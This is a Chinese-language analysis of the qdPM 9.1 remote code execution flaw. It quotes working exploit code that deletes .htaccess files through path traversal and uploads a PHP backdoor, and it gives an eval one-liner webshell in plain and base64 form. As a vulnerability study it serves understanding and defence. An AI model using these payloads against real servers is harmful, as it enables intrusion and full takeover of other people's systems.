.htaccess文件是Apache服务器中的一个配置文件,负责相关目录下的网页配置。通过htaccess文件,可以实现网页301重定向、自定义404页面,改变文件扩展名、允许或阻止访问特定目录等操作。
一般来说,.htaccess文件需要放在网站的根目录下才能控制整个站点,并且在Linux系统中,需要将其权限设置为644来提高安全性。 .htaccess文件可作用于当前目录及所有子目录,但是某一特定目录下的.htaccess文件中的指令可能会覆盖上级目录中的.htaccess文件中的指令,也就是子目录中的指令会取代父目录或者根目录中的指令。在qdPM中,根目录和users目录都存在.htaccess文件,那么users目录下的.htaccess文件指令会覆盖掉根目录下的指令。
users目录下的.htaccess文件
# $Id$
#
# This is used to restrict access to this folder to anything other
# than images
# Prevents any script files from being accessed from the images folder
<FilesMatch "\.(php([0-9]|s)?|s?p?html|cgi|pl|exe)$">
Order Deny,Allow
Deny from all
</FilesMatch>
users目录中的.htaccess文件限制了用户只能上传图片文件到users目录,像php、html、cgi、exe等后缀的文件都会被限制写入到这个目录中。
根目录下的.htaccess
#uncomment next two lines to run qdPM in SSL mode
#RewriteCond %{HTTPS} !=on
#RewriteRule . https://%{HTTP_HOST}%{REQUEST_URI} [L]
<IfModule mod_rewrite.c>
RewriteEngine On
# uncomment the following line, if you are having trouble
# getting no_script_name to work
#RewriteBase /
# we skip all files with .something
#RewriteCond %{REQUEST_URI} \..+$
#RewriteCond %{REQUEST_URI} !\.html$
#RewriteRule .* - [L]
# we check if the .html version is here (caching)
RewriteRule ^$ index.html [QSA]
RewriteRule ^([^.]+)$ $1.html [QSA]
RewriteCond %{REQUEST_FILENAME} !-f
# no, so we redirect to our front web controller
RewriteRule ^(.*)$ index.php [QSA,L]
</IfModule>
根目录下的.htaccess文件对一些html文件进行限制。
访问搭建好的网站,其中预先注册了一个普通用户:[email protected]
/user01
运行exp,exp脚本可在https://packetstormsecurity.com/files/156063/qdPM-9.1-Remote-Code-Execution.html找到
访问exp生成的URL,发现可成功执行命令
尝试写入shell,这里是将一句话木马base64编码后写入shell.php,其实可以不用将一句话木马编码就可以写入文件中
编码前:<?php eval($_POST[123]);?>
编码后是:PD9waHAgZXZhbCgkX1BPU1RbMTIzXSk7Pz4K
执行ls命令,发现成功写入文件
使用蚁剑连接shell
成功getshell
本次分析主要是根据现有的exp进行分析
exp的main()
函数,在登录后获取一系列参数后调用了req()
函数,因此主要分析exp的代码中的req函数
def req( userid, username, csrftoken_, EMAIL, HOSTNAME, ): request_1 = multifrm( userid, username, csrftoken_, EMAIL, HOSTNAME, '.htaccess', ) new = session_requests.post(HOSTNAME + 'index.php/myAccount/update' , files=request_1) request_2 = multifrm( userid, username, csrftoken_, EMAIL, HOSTNAME, '../.htaccess', ) new1 = session_requests.post(HOSTNAME + 'index.php/myAccount/update' , files=request_2) request_3 = { 'sf_method': (None, 'put'), 'users[id]': (None, userid[-1]), 'users[photo_preview]': (None, ''), 'users[_csrf_token]': (None, csrftoken_[-1]), 'users[name]': (None, username[-1]), 'users[new_password]': (None, ''), 'users[email]': (None, EMAIL), 'extra_fields[9]': (None, ''), 'users[photo]': ('backdoor.php', '<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); echo $cmd." "; system($cmd); echo "</pre>"; die; }?>' , 'application/octet-stream'), } cprint(request_3, 'red') upload_req = session_requests.post(HOSTNAME + 'index.php/myAccount/update', files=request_3)
在这个函数中,可以看到执行了三个请求,而在前两个请求中都调用了multifrm()
函数
def multifrm( userid, username, csrftoken_, EMAIL, HOSTNAME, uservar, ): request_1 = { 'sf_method': (None, 'put'), 'users[id]': (None, userid[-1]), 'users[photo_preview]': (None, uservar), 'users[_csrf_token]': (None, csrftoken_[-1]), 'users[name]': (None, username[-1]), 'users[new_password]': (None, ''), 'users[email]': (None, EMAIL), 'extra_fields[9]': (None, ''), 'users[remove_photo]': (None, '1'), } cprint(request_1, 'green') return request_1
结合req()
函数的请求可以发现,request_1请求的users[photo_preview]
参数为.htaccess
,request_2请求的users[photo_preview]
参数为../.htaccess
仔细观察这两个请求,可以发现这两个请求都访问了index.php/myAccount/update
页面,也就是用户信息更改页面。
在源码文件 core/apps/qdPM/modules/users/actions/actions.class.php文件中找到用户修改信息的功能实现方法:processForm()
函数。
在processForm()
函数的第241行处,发现了任意文件删除漏洞的敏感函数unlink()
而进行到这一步的条件是remove_photo
的值为1,并且photo_preview
值的长度要大于0
从上面的分析可以看出,multifrm()
函数已经默认每个请求的remove_photo
值为1,那么在request_1
和request_2
中,这两个条件都满足。
也就是说,在request_1
中,users
目录下的.htaccess
文件会被删除。在request_2中,利用..
绕过,删除了根目录下.htaccess
文件。
根据背景知识中可知,将这两个文件删除后,即可在users目录中写入php文件。
接着,继续分析源代码,分析如何写入php文件。
在 core/apps/qdPM/modules/users/actions/actions.class.php文件的第217-237行,对上传的图片进行了处理,也就是request_3
的users_photo
参数的内容会经过这个逻辑。
可操作写入php文件的点就是在224行和225行的位置。
move_uploaded_file()
函数的作用是将上传的文件移动到指定的位置,那么在这里的意思是将用户上传的图片移动到users
目录中。因此,exp中的backdoor.php
可以上传到users目录中,而backdoor.php
的名称可以通过再次请求index.php/myAccount
,名称会在photo_preview
参数中显示,或者直接访问uploads/users
,该站还存在目录遍历漏洞,直接获取后门上传后的文件名。